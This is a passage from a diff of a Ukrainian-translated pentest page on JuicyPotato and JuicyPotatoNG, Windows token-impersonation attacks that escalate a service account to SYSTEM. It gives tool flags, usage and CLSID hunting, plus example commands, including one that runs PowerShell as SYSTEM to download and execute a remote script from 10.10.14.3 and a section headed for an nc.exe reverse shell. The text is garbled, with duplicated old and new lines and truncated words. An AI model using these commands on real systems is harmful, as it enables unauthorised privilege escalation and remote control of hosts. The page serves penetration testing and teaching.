- **Target CLSID** _оберіть будь-який CLSID, який ви хочете._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _тут ви знайдете список, організований за ОС._
- **COM Listening port**кажіть бажаний COM-порт для прослуховування (замість маршалованого жорстко закодованого 6666)_
- **COM Listening IP address** _прив'яжіть сервер до будь-якої IP-адреси_
- **Process creation mode**алежно від привілеїв імперсонованого користувача ви можете обрати з:_
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch**апустити виконуваний файл або скрипт у випадку успішної експлуатації_
- **Process Argument**алаштувати аргументи для запуску процесу_
- **RPC Server address** _для більш прихованого підходу ви можете автентифікуватися до зовнішнього RPC server_
- **RPC Server port**орисно, якщо ви хочете автентифікуватися до зовнішнього сервера, а фаєрвол блокує порт `135`…_
- **TEST mode** _переважно для тестування, наприклад тестування CLSIDів. Створює DCOM і виводить користувача токена. Див._ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
- **Process to launch**апустити виконуваний файл або скрипт у разі успіху експлуатації_
- **Process Argument**алаштуйте аргументи запущеного процесу_
- **RPC Server address** _для прихованого підходу ви можете автентифікуватися на зовнішньому RPC-сервері_
- **RPC Server port**орисно якщо ви хочете автентифікуватися на зовнішньому сервері і firewall блокує порт `135`…_
- **TEST mode** _в основному для тестових цілей, тобто тестування CLSIDів. Він створює DCOM і виводить користувача токена. Див. [_here for testing_](http://ohpe.it/juicy-potato/Test/)_
### Usage <a href="#usage" id="usage"></a>
```
@ -72,30 +72,30 @@ Optional args:
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
```
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
### Підсумки <a href="#final-thoughts" id="final-thoughts"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
Якщо користувач має `SeImpersonate` або `SeAssignPrimaryToken` привілеї, то ви — **SYSTEM**.
Якщо користувач має привілеї `SeImpersonate` або `SeAssignPrimaryToken`, то ви — **SYSTEM**.
Практично неможливо запобігти зловживанню всіма цими COM Servers. Можна подумати про зміну дозволів цих об'єктів через `DCOMCNFG`, але успіху не обіцяю — це буде складно.
Практично неможливо повністю запобігти зловживанню всіма цими COM Servers. Можна спробувати змінити дозволи цих об’єктів через `DCOMCNFG`, але удачі — це буде складно.
Фактичне рішення — захищати чутливі облікові записи та додатки, які працюють під обліковими записами `* SERVICE`. Зупинка `DCOM` безумовно ускладнить цей експлойт, але може мати серйозний вплив на базову ОС.
Реальне рішення — захистити чутливі облікові записи та додатки, які працюють під обліковими записами `* SERVICE`. Зупинка `DCOM` безумовно ускладнить цей експлойт, але може серйозно вплинути на базову ОС.
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## JuicyPotatoNG (2022+)
JuicyPotatoNG повторно вводить JuicyPotato-style local privilege escalation на сучасних Windows, комбінуючи:
- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
- Трюки, щоб задовольнити обмеження активації DCOM (наприклад, колишня вимога INTERACTIVE-group при націлюванні на класи PrintNotify / ActiveX Installer Service).
JuicyPotatoNG відновлює JuicyPotato-style local privilege escalation на сучасних Windows, поєднуючи:
- розв'язання DCOM OXID до локального RPC-сервера на вибраному порту, уникаючи старого жорстко закодованого 127.0.0.1:6666 listener'а;
- SSPI hook для перехоплення та імперсонації вхідної аутентифікації SYSTEM без потреби в RpcImpersonateClient, що також дозволяє CreateProcessAsUser коли присутня лише SeAssignPrimaryTokenPrivilege;
- трюки для задоволення обмежень активації DCOM (наприклад, колишня вимога INTERACTIVE-group при таргетуванні класів PrintNotify / ActiveX Installer Service).
Important notes (evolving behavior across builds):
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
Важливі зауваги (поведінка змінюється між збірками):
- September 2022: первісна техніка працювала на підтримуваних Windows 10/11 і Server таргетах, використовуючи “INTERACTIVE trick”.
- January 2023 update from the authors: Microsoft пізніше заблокував INTERACTIVE trick. Інший CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) відновлює можливість експлуатації, але, за їхнім повідомленням, тільки на Windows 11 / Server 2022.
Basic usage (more flags in the help):
Базове використання (більше прапорів у довідці):
```
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
@ -103,11 +103,11 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
```
Якщо ви націлюєтеся на Windows 10 1809 / Server 2019, де класичний JuicyPotato запатчено, надавайте перевагу альтернативам, вказаним вище (RoguePotato, PrintSpoofer, EfsPotato/GodPotato тощо). NG може бути ситуаційним залежно від збірки та стану служби.
Якщо ви націлюєтеся на Windows 10 1809 / Server 2019, де класичний JuicyPotato виправлено, віддавайте перевагу альтернативам, згаданим вище (RoguePotato, PrintSpoofer, EfsPotato/GodPotato тощо). NG може бути ситуативним залежно від збірки та стану сервісу.
## Приклади
## Examples
Примітка: Відвідайте [this page](https://ohpe.it/juicy-potato/CLSID/) для списку CLSID-ів, які варто спробувати.
Примітка: Відвідайте [this page](https://ohpe.it/juicy-potato/CLSID/) для списку CLSIDs, які можна спробувати.
### Отримати nc.exe reverse shell
```
@ -122,31 +122,31 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
c:\Users\Public>
```
### Powershell rev
### Powershell реверс
```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
```
### Запустити новий CMD (якщо у вас є доступ по RDP)
### Запустити новий CMD (якщо у вас є доступ через RDP)
![](<../../images/image (300).png>)
## CLSID Problems
## Проблеми з CLSID
Часто стандартний CLSID, який використовує JuicyPotato, **не працює**, і exploit зазнає невдачі. Зазвичай потрібно кілька спроб, щоб знайти **працюючий CLSID**. Щоб отримати список CLSID для конкретної операційної системи, відвідайте цю сторінку:
Часто стандартний CLSID, який використовує JuicyPotato, **не працює**, і експлойт зазнає невдачі. Зазвичай потрібно кілька спроб, щоб знайти **працюючий CLSID**. Щоб отримати список CLSID для конкретної операційної системи, відвідайте цю сторінку:
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
### **Перевірка CLSID**
Спочатку вам знадобляться деякі виконувані файли, окрім juicypotato.exe.
Спочатку вам знадобляться додаткові виконувані файли, окрім juicypotato.exe.
Завантажте [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) і завантажте його у вашу PS session, а також завантажте й виконайте [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Цей скрипт створить список можливих CLSID для тестування.
Завантажте [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) і завантажте його в вашу PS-сесію, потім завантажте та виконайте [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Цей скрипт створить список можливих CLSID для перевірки.
Потім завантажте [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (змініть шлях до списку CLSID та до виконуваного файлу juicypotato) і виконайте його. Він почне перевіряти кожний CLSID, і **коли зміниться номер порту, це означатиме, що CLSID спрацював**.
Потім завантажте [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(змініть шлях до списку CLSID та до виконуваного файлу juicypotato) і запустіть його. Він почне перевіряти кожен CLSID, і коли зміниться номер порту, це означатиме, що CLSID спрацював.
**Перевірте** робочі CLSID **за допомогою параметра -c**
**Перевірте** працездатні CLSID **за допомогою параметра -c**
## References
## Посилання
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)